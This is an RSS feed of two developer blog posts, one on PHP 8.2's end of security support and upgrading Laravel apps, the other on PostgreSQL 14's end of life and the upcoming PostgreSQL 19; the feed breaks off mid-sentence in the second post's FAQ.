<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Marco Orta — Blog</title><description>What breaks when you upgrade your stack, AI for developers, and tech for businesses in Mexico. Checked against the source.</description><link>https://ortamarco.me/</link><language>en-US</language><atom:link href="https://ortamarco.me/en/rss.xml" rel="self" type="application/rss+xml"/><item><title>PHP 8.2 End of Life: December 31, 2026 (What Changes and How to Upgrade)</title><link>https://ortamarco.me/en/blog/php-8-2-end-of-life/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/php-8-2-end-of-life/</guid><description>PHP 8.2 gets its last security fix on December 31, 2026. Dates for 8.2 to 8.5, Laravel 10 to 13 compatibility, what changes on January 1 and how to move to 8.4.</description><pubDate>Fri, 13 Nov 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;PHP 8.2 receives security fixes until December 31, 2026, and none after that.&lt;/strong&gt; That is what the &lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;supported versions page on php.net&lt;/a&gt; says (checked on November 13, 2026), and it is the only source that rules here. Nothing stops working on January 1: PHP has no internal expiry date. What changes is that any security flaw discovered in PHP 8.2 from that day on stays open. The last 8.2 release at the time of writing is &lt;strong&gt;8.2.35, from October 21, 2026&lt;/strong&gt; (&lt;a href=&quot;https://www.php.net/releases/active.php&quot;&gt;php.net release feed&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;If you run 8.2, you have about six weeks. Here are the dates, which Laravel versions let you leave 8.2 without a framework upgrade, and the order I would do it in. There is a &lt;a href=&quot;https://ortamarco.me/blog/php-8-2-fin-de-soporte/&quot;&gt;Spanish version of this article&lt;/a&gt; aimed at business owners; this one is for the person who has to do the work.&lt;/p&gt;
&lt;h2 id=&quot;the-dates-unrounded&quot;&gt;The dates, unrounded&lt;/h2&gt;
&lt;p&gt;Since 2024 each PHP version lives four years: two of active support (bug and security fixes) and two of critical security fixes only.&lt;/p&gt;















































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Version&lt;/th&gt;&lt;th&gt;Released&lt;/th&gt;&lt;th&gt;Active support until&lt;/th&gt;&lt;th&gt;Security fixes until&lt;/th&gt;&lt;th&gt;Latest (Nov 13, 2026)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;8.1&lt;/td&gt;&lt;td&gt;Nov 25, 2021&lt;/td&gt;&lt;td&gt;Nov 25, 2023&lt;/td&gt;&lt;td&gt;Dec 31, 2025 (&lt;strong&gt;already unsupported&lt;/strong&gt;)&lt;/td&gt;&lt;td&gt;8.1.34&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.2&lt;/td&gt;&lt;td&gt;Dec 8, 2022&lt;/td&gt;&lt;td&gt;Dec 31, 2024&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Dec 31, 2026&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;8.2.35&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.3&lt;/td&gt;&lt;td&gt;Nov 23, 2023&lt;/td&gt;&lt;td&gt;Dec 31, 2025&lt;/td&gt;&lt;td&gt;Dec 31, 2027&lt;/td&gt;&lt;td&gt;8.3.36&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.4&lt;/td&gt;&lt;td&gt;Nov 21, 2024&lt;/td&gt;&lt;td&gt;Dec 31, 2026&lt;/td&gt;&lt;td&gt;Dec 31, 2028&lt;/td&gt;&lt;td&gt;8.4.27&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;8.5&lt;/td&gt;&lt;td&gt;Nov 20, 2025&lt;/td&gt;&lt;td&gt;Dec 31, 2027&lt;/td&gt;&lt;td&gt;Dec 31, 2029&lt;/td&gt;&lt;td&gt;8.5.12&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Source: &lt;a href=&quot;https://www.php.net/supported-versions.php&quot;&gt;php.net/supported-versions.php&lt;/a&gt; for the support dates and the &lt;a href=&quot;https://www.php.net/releases/active.php&quot;&gt;php.net release feed&lt;/a&gt; for the latest releases, both checked on November 13, 2026 (the latest versions match &lt;a href=&quot;https://endoflife.date/php&quot;&gt;endoflife.date/php&lt;/a&gt;). PHP 8.6 is not in the table because it has not been released yet; &lt;a href=&quot;https://ortamarco.me/en/blog/what-breaks-upgrading-to-php-8-6/&quot;&gt;what breaks when upgrading to PHP 8.6&lt;/a&gt; covers it, and JetBrains places its release “later this November” in its &lt;a href=&quot;https://blog.jetbrains.com/phpstorm/2026/11/whats-new-in-phpstorm-2026-3/&quot;&gt;PhpStorm 2026.3 post&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note that 8.3 has already spent ten months on security fixes only. It is a stop on the way, not a place to stay for five years.&lt;/p&gt;
&lt;h2 id=&quot;laravel-can-you-leave-82-without-upgrading-the-framework&quot;&gt;Laravel: can you leave 8.2 without upgrading the framework?&lt;/h2&gt;
&lt;p&gt;Often, yes. The &lt;a href=&quot;https://laravel.com/docs/13.x/releases&quot;&gt;Laravel release notes&lt;/a&gt; list the PHP versions each major supports (checked November 13, 2026):&lt;/p&gt;








































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Laravel&lt;/th&gt;&lt;th&gt;PHP it supports&lt;/th&gt;&lt;th&gt;Bug fixes until&lt;/th&gt;&lt;th&gt;Security fixes until&lt;/th&gt;&lt;th&gt;Move off PHP 8.2 without upgrading Laravel?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;10&lt;/td&gt;&lt;td&gt;8.1 - 8.3&lt;/td&gt;&lt;td&gt;Aug 6, 2024&lt;/td&gt;&lt;td&gt;Feb 4, 2025&lt;/td&gt;&lt;td&gt;Yes, to 8.3 (but Laravel 10 itself has no fixes)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;11&lt;/td&gt;&lt;td&gt;8.2 - 8.4&lt;/td&gt;&lt;td&gt;Sep 3, 2025&lt;/td&gt;&lt;td&gt;Mar 12, 2026&lt;/td&gt;&lt;td&gt;Yes, to 8.3 or 8.4 (Laravel 11 has no fixes either)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;12&lt;/td&gt;&lt;td&gt;8.2 - 8.5&lt;/td&gt;&lt;td&gt;Aug 13, 2026&lt;/td&gt;&lt;td&gt;Feb 24, 2027&lt;/td&gt;&lt;td&gt;Yes, to 8.4 or 8.5&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;13&lt;/td&gt;&lt;td&gt;8.3 - 8.5&lt;/td&gt;&lt;td&gt;Q3 2027&lt;/td&gt;&lt;td&gt;March 17, 2028&lt;/td&gt;&lt;td&gt;Already requires 8.3 or higher&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Upgrading only PHP does not fix a framework that is out of support, but it closes the biggest hole (the language itself) with far less work than a framework migration. For a Laravel 12 app it is the whole job. For Laravel 11 and 10 it is the first step; the next one is &lt;a href=&quot;https://ortamarco.me/en/blog/what-breaks-upgrading-to-laravel-13/&quot;&gt;what breaks upgrading to Laravel 13&lt;/a&gt;. Anything older than Laravel 10 has been out of support for years.&lt;/p&gt;
&lt;h2 id=&quot;what-actually-happens-on-january-1&quot;&gt;What actually happens on January 1&lt;/h2&gt;
&lt;p&gt;Your app does not stop working on January 1, and you are not hacked the next morning: the risk grows over time. What does happen:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;New vulnerabilities stay unpatched.&lt;/strong&gt; PHP’s own release feed shows the pace: 8.2.35, 8.3.36, 8.4.27 and 8.5.12 all shipped on the same day (October 21, 2026) as security releases. From 2027 that stream stops for 8.2. Not every CVE affects you (one in SOAP is irrelevant if you don’t use SOAP), but someone has to make that call for every advisory, forever.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Your host may retire the version.&lt;/strong&gt; Providers do not keep dead versions indefinitely. Ask yours, in writing, what they plan for 8.2; I found no public retirement date for the most common shared hosts.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Libraries raise their minimum.&lt;/strong&gt; Laravel 13 already requires PHP 8.3 (&lt;code&gt;laravel/framework&lt;/code&gt; 13.x declares &lt;code&gt;php: ^8.3&lt;/code&gt; on Packagist), and third-party packages follow their frameworks. An 8.2 system keeps running but fewer packages publish versions it can install, security patches included.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Audits.&lt;/strong&gt; Compliance frameworks that ask for supported software (PCI DSS is the usual one) will flag a runtime with an announced end of life. Confirm the exact wording with whoever handles compliance; I have not quoted it here.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;how-to-check-what-you-run&quot;&gt;How to check what you run&lt;/h2&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# On the server&lt;/span&gt;
php &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# In a Laravel project&lt;/span&gt;
php artisan &lt;span class=&quot;token parameter variable&quot;&gt;--version&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;composer&lt;/span&gt; show laravel/framework &lt;span class=&quot;token operator&quot;&gt;|&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; versions
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On servers with several PHP versions installed, the terminal’s PHP may not be the one serving the web: check the PHP-FPM pool or the vhost config. And the &lt;code&gt;&amp;quot;php&amp;quot;&lt;/code&gt; line in &lt;code&gt;composer.json&lt;/code&gt; says what the project &lt;em&gt;accepts&lt;/em&gt;, not what is running. In CI and containers, grep for the pinned version:&lt;/p&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-rnE&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&amp;quot;php-version|php:8\.2|8\.2&amp;quot;&lt;/span&gt; .github/workflows/ Dockerfile* docker-compose*.yml composer.json &lt;span class=&quot;token operator&quot;&gt;&lt;span class=&quot;token file-descriptor important&quot;&gt;2&lt;/span&gt;&amp;gt;&lt;/span&gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;the-upgrade-in-order&quot;&gt;The upgrade, in order&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Pick the target.&lt;/strong&gt; 8.4 is the sensible default today: security fixes until December 31, 2028, and every Laravel from 11 up supports it. 8.5 works for Laravel 12 and 13 if your dependencies declare it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Raise PHP in a copy, not in production.&lt;/strong&gt; Update the &lt;code&gt;php&lt;/code&gt; requirement in &lt;code&gt;composer.json&lt;/code&gt;, run &lt;code&gt;composer update&lt;/code&gt; on that branch and run your tests. Anything that breaks is a package pinned to an old PHP; the error says which.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Add the new version to your CI matrix first&lt;/strong&gt;, keeping 8.2 for a week, so you see failures before they are the only option.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Move the runtime&lt;/strong&gt; (Docker image tag, &lt;code&gt;setup-php&lt;/code&gt; version, hosting panel) and keep the old one one click away for rollback.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Only then&lt;/strong&gt; plan the framework jump, one major at a time, with tests between each.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If the app is not worth that effort, the honest alternatives are to freeze it behind a VPN or a WAF with a written review date, or to replace it. Freezing without a date is just “let’s look at it later”, which is what brought you here.&lt;/p&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; When does PHP 8.2 reach end of life? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; PHP 8.2 receives security fixes until December 31, 2026, according to php.net/supported-versions.php. Bug fixes ended on December 31, 2024. After December 31, 2026 the PHP project will publish no more releases of the 8.2 branch. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Will my PHP 8.2 app stop working on January 1, 2027? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; No. PHP has no internal expiry date and the app keeps running exactly as before. What changes is that new vulnerabilities discovered in PHP 8.2 are no longer fixed, hosting providers start retiring the version, and fewer libraries publish compatible releases. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Which PHP version should I upgrade to from 8.2? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; PHP 8.4 is the safe default: security fixes until December 31, 2028, supported by Laravel 11, 12 and 13. PHP 8.3 works but its security-only window ends on December 31, 2027. PHP 8.5 is supported until December 31, 2029 and works with Laravel 12 and 13. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Can I upgrade PHP without upgrading Laravel? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; Depending on the version. Laravel 12 supports PHP 8.2 to 8.5, Laravel 11 supports 8.2 to 8.4 and Laravel 10 supports 8.1 to 8.3, so you can leave PHP 8.2 without changing Laravel. That does not fix a Laravel version that is itself out of support. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; What is the latest PHP 8.2 version? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; As of November 13, 2026 it is PHP 8.2.35, released on October 21, 2026 according to the php.net release feed. If your server reports a lower 8.2 number, you are missing security fixes that already exist. &lt;/p&gt; &lt;/details&gt; &lt;/div&gt; &lt;/section&gt;</content:encoded><category>Web Development</category><category>PHP</category><category>Laravel</category><category>Security</category><category>End of Life</category><category>Migration</category><author>Marco Orta</author></item><item><title>PostgreSQL 14 Is End of Life and PostgreSQL 19 Arrives November 19: What a Laravel App Should Do</title><link>https://ortamarco.me/en/blog/postgresql-14-end-of-life-postgresql-19-laravel/</link><guid isPermaLink="true">https://ortamarco.me/en/blog/postgresql-14-end-of-life-postgresql-19-laravel/</guid><description>PostgreSQL 14 got its final release on Nov 12, 2026 and PostgreSQL 19 is planned for Nov 19. Support dates 15 to 18, what 19 breaks, and the checks for a Laravel app.</description><pubDate>Fri, 13 Nov 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;PostgreSQL 14 received its final release on November 12, 2026 (14.25) and is now end of life: no more security or bug fixes.&lt;/strong&gt; The same day the project released a security update for every supported version that closes 52 vulnerabilities, and the second release candidate of &lt;strong&gt;PostgreSQL 19, whose general availability is planned for November 19, 2026&lt;/strong&gt;. If your Laravel app still talks to a 14, that update is the last one it will ever get, and it is the one that matters most. If you are on 15 to 18, you are fine on support; the question is just which jump to make and when.&lt;/p&gt;
&lt;p&gt;Everything below comes from postgresql.org (the &lt;a href=&quot;https://www.postgresql.org/about/news/postgresql-187-1712-1616-1520-1425-and-19-rc-2-released-3442/&quot;&gt;November 12 announcement&lt;/a&gt;, the &lt;a href=&quot;https://www.postgresql.org/support/versioning/&quot;&gt;versioning policy&lt;/a&gt; and the &lt;a href=&quot;https://www.postgresql.org/docs/19/release-19.html&quot;&gt;PostgreSQL 19 release notes&lt;/a&gt;, whose date line reads “as of 2026-10-09”), checked on November 13, 2026. PostgreSQL 19 is not released yet, so treat what I say about it as a preview.&lt;/p&gt;
&lt;h2 id=&quot;support-dates&quot;&gt;Support dates&lt;/h2&gt;
&lt;p&gt;PostgreSQL supports each major version for five years. From the &lt;a href=&quot;https://www.postgresql.org/support/versioning/&quot;&gt;versioning policy page&lt;/a&gt;:&lt;/p&gt;















































&lt;div class=&quot;table-responsive&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Major&lt;/th&gt;&lt;th&gt;Current minor&lt;/th&gt;&lt;th&gt;First release&lt;/th&gt;&lt;th&gt;Final release (end of life)&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;14&lt;/td&gt;&lt;td&gt;14.25&lt;/td&gt;&lt;td&gt;Sep 30, 2021&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Nov 12, 2026 (already unsupported)&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;15&lt;/td&gt;&lt;td&gt;15.20&lt;/td&gt;&lt;td&gt;Oct 13, 2022&lt;/td&gt;&lt;td&gt;Nov 11, 2027&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;16&lt;/td&gt;&lt;td&gt;16.16&lt;/td&gt;&lt;td&gt;Sep 14, 2023&lt;/td&gt;&lt;td&gt;Nov 9, 2028&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;17&lt;/td&gt;&lt;td&gt;17.12&lt;/td&gt;&lt;td&gt;Sep 26, 2024&lt;/td&gt;&lt;td&gt;Nov 8, 2029&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;18&lt;/td&gt;&lt;td&gt;18.7&lt;/td&gt;&lt;td&gt;Sep 25, 2025&lt;/td&gt;&lt;td&gt;Nov 14, 2030&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;19&lt;/td&gt;&lt;td&gt;(not released)&lt;/td&gt;&lt;td&gt;planned Nov 19, 2026&lt;/td&gt;&lt;td&gt;five years after release&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Laravel is not the constraint here: the &lt;a href=&quot;https://laravel.com/docs/13.x/database&quot;&gt;Laravel 13 database docs&lt;/a&gt; list PostgreSQL 10.0+ as supported, so the framework will talk to anything from 14 to 19. The limit is the database’s own support window.&lt;/p&gt;
&lt;h2 id=&quot;the-update-you-should-apply-first&quot;&gt;The update you should apply first&lt;/h2&gt;
&lt;p&gt;The November 12 release fixes 52 security vulnerabilities and more than 140 bugs. Several need steps after updating, according to the announcement’s “Updating” section:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Reindex &lt;code&gt;pg_trgm&lt;/code&gt; GiST indexes (possible missed matches), and B-tree indexes on &lt;code&gt;bpchar&lt;/code&gt; columns declared without a length.&lt;/li&gt;
&lt;li&gt;Take a new full backup after updating if you use incremental backups.&lt;/li&gt;
&lt;li&gt;Check &lt;code&gt;NOT NULL NO INHERIT&lt;/code&gt; constraints on partitioned tables.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you are on 15 to 18, install the matching minor (15.20, 16.16, 17.12 or 18.7) and read that section. If you are on 14, you can apply 14.25 as a stopgap, but the next vulnerability has no fix coming: plan the major upgrade, don’t just patch.&lt;/p&gt;
&lt;h2 id=&quot;which-version-to-move-to&quot;&gt;Which version to move to&lt;/h2&gt;
&lt;p&gt;My recommendation for a production Laravel app today is &lt;strong&gt;PostgreSQL 18&lt;/strong&gt; (18.7, supported until November 14, 2030), or 17 if your host does not offer 18 yet. PostgreSQL 19 is a new major release, and a new major tends to collect its first fixes in the minor releases that follow. Going from 14 to 19 the week it ships gains you little over 18, which already has a support window until 2030. That is an opinion, not a rule: if you are starting a new project, 19 is a reasonable choice once 19.1 is out.&lt;/p&gt;
&lt;p&gt;Any major jump needs &lt;code&gt;pg_upgrade&lt;/code&gt;, a dump and restore, or logical replication; there is no in-place minor-style upgrade.&lt;/p&gt;
&lt;h2 id=&quot;what-postgresql-19-changes-from-its-release-notes&quot;&gt;What PostgreSQL 19 changes (from its release notes)&lt;/h2&gt;
&lt;p&gt;The notes list incompatibilities with earlier releases. The ones I would check in a Laravel app:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;standard_conforming_strings&lt;/code&gt; is now always on.&lt;/strong&gt; Dumps from older &lt;code&gt;pg_dump&lt;/code&gt; made with it off will not load into 19; make the dump with the 19 client tools.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;json_array()&lt;/code&gt; with no rows returns an empty array instead of &lt;code&gt;NULL&lt;/code&gt;.&lt;/strong&gt; Look at raw queries and accessors that treat &lt;code&gt;NULL&lt;/code&gt; as “no items”.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;JIT is disabled by default.&lt;/strong&gt; Relevant if you run large analytical queries and relied on it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;max_locks_per_transaction&lt;/code&gt; default goes from 64 to 128&lt;/strong&gt;, and the &lt;code&gt;io_workers&lt;/code&gt; variable is replaced by four new ones (that matters for your &lt;code&gt;postgresql.conf&lt;/code&gt;, not for Laravel).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MD5 password authentication now logs a warning&lt;/strong&gt; after a successful login (MD5 was deprecated in 18). If your role passwords are MD5, move to SCRAM before the warning becomes noise.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RADIUS authentication is removed.&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;pg_upgrade&lt;/code&gt; refuses clusters with &lt;code&gt;btree_gist&lt;/code&gt; indexes on &lt;code&gt;inet&lt;/code&gt;/&lt;code&gt;cidr&lt;/code&gt; columns, and newlines or carriage returns in database or role names.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;New features worth knowing: a &lt;code&gt;REPACK&lt;/code&gt; command (with a &lt;code&gt;CONCURRENTLY&lt;/code&gt; option that doesn’t block reads or writes), faster foreign-key checks, logical replication of sequences, and a &lt;code&gt;WAIT&lt;/code&gt; command for read-your-writes consistency on standbys. Nothing of that changes how Eloquent or the migrations work; the benefit is operational.&lt;/p&gt;
&lt;h2 id=&quot;checks-for-a-laravel-app&quot;&gt;Checks for a Laravel app&lt;/h2&gt;
&lt;pre class=&quot;language-bash&quot; data-language=&quot;bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# What version is the app actually talking to?&lt;/span&gt;
php artisan db:show

&lt;span class=&quot;token comment&quot;&gt;# Or from tinker / SQL&lt;/span&gt;
php artisan tinker &lt;span class=&quot;token parameter variable&quot;&gt;--execute&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&amp;quot;dump(DB::select(&amp;#39;select version()&amp;#39;));&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Before upgrading, run your test suite against the target version&lt;/strong&gt; in CI (a &lt;code&gt;postgres:18&lt;/code&gt; service container is enough). Tests on SQLite do not catch Postgres differences, so this is the one that matters.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Search for raw SQL&lt;/strong&gt; that uses &lt;code&gt;json_array&lt;/code&gt;, &lt;code&gt;COPY&lt;/code&gt; or version-specific settings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Behind PgBouncer or a pooler?&lt;/strong&gt; Laravel 13 has a documented &lt;code&gt;direct&lt;/code&gt; connection option for pooled PostgreSQL connections that makes migrations and maintenance commands use a direct connection; check it still applies after the upgrade.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Rehearse the upgrade on a copy&lt;/strong&gt; of production data and time it: the downtime of &lt;code&gt;pg_upgrade&lt;/code&gt; or a restore scales with data size.&lt;/li&gt;
&lt;/ul&gt;
 &lt;section class=&quot;not-prose my-10&quot;&gt; &lt;h2 class=&quot;mb-6 font-fraunces text-3xl font-bold text-blacktext dark:text-white&quot;&gt; Frequently asked questions &lt;/h2&gt; &lt;div class=&quot;flex flex-col gap-3&quot;&gt; &lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; When did PostgreSQL 14 reach end of life? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; PostgreSQL 14 received its final release (14.25) on November 12, 2026, according to the versioning policy and the release announcement of that day. It no longer receives security or bug fixes. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; When is PostgreSQL 19 released? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; The PostgreSQL project says the planned date for general availability of PostgreSQL 19 is November 19, 2026. The second release candidate came out on November 12, 2026, and release candidates are mostly identical to the final release. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Which PostgreSQL versions does Laravel 13 support? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; The Laravel 13 database documentation lists PostgreSQL 10.0 or newer. The real limit is the database support window: PostgreSQL 15 is supported until November 11, 2027, 16 until November 9, 2028, 17 until November 8, 2029 and 18 until November 14, 2030. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Do I need to dump and restore to upgrade PostgreSQL? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; For a major version change you need a dump and restore with pg_dumpall, pg_upgrade or logical replication, according to the PostgreSQL 19 release notes. Minor updates within the same major version (for example 18.6 to 18.7) are a binary replacement and restart. &lt;/p&gt; &lt;/details&gt;&lt;details class=&quot;group rounded-2xl border border-zinc-200 bg-white/60 px-5 py-4 dark:border-zinc-800 dark:bg-zinc-900/40&quot;&gt; &lt;summary class=&quot;flex cursor-pointer list-none items-start justify-between gap-4&quot;&gt; &lt;h3 class=&quot;text-lg font-semibold text-blacktext dark:text-white&quot;&gt; Is it safe to move to PostgreSQL 19 right away? &lt;/h3&gt;  &lt;/summary&gt; &lt;p class=&quot;mt-3 text-lg leading-relaxed text-zinc-700 max-md:text-base dark:text-zinc-300&quot;&gt; It is a judgment call. PostgreSQL 19 is planned for November 19, 2026 and has not shipped as of this writing. For production I would choose 18 (supported until November 14, 